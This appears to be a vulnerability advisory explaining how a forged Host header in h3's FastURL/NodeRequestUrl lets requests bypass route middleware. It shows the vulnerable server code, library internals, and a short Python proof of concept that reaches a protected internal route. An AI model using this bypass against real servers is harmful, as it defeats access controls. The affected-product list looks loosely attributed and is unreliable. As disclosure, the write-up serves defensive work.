About vulnerability

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}

return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " +  event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);

app.get("/internal/run", () => {
return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there’s one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
const route = this["~findRoute"](event);
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this["~getMiddleware"](event, route);
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Affected product:

React , astro , devtools , h3 , impound , nitro , nuxt , unimport , unplugin , unstorage , uploadthing , vite , vite-dev-rpc , vite-hot-client , vite-plugin-checker , vite-plugin-inspect , vite-plugin-react , vite-plugin-vue , vite-plugin-vue-inspector , vite-plugin-vue-tracer , vitefu

Affected packages:

unplugin @ 3.2.0 (+130 more)